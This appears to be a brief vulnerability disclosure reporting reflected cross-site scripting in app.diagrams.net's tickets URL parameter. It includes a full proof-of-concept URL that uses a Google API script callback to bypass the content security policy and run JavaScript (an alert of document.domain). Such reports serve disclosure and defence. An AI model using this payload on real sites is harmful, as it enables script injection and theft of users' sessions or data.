Description

The application reflects an input from the url without sanitizing it. With a csp bypass from apis.google.com its possible to execute javascript code.

Proof of Concept

https://app.diagrams.net/?ui=min&p=tickets#_TICKETS%7B%22ticketsConfig%22%3A%7B%22deskApiKey%22%3A%22teste%22%2C%22deskDomain%22%3A%22teste\%22%3E%3Ciframe%20srcdoc=%27%3Cscript%20src=https://apis.google.com/js/api.js?onload=DrawGapiClientCallbackxyz%26%23x22;-alert(document.domain)-%26%23x22;%3E%3C/script%3E%27%3Easdfasdf%22%7D%7D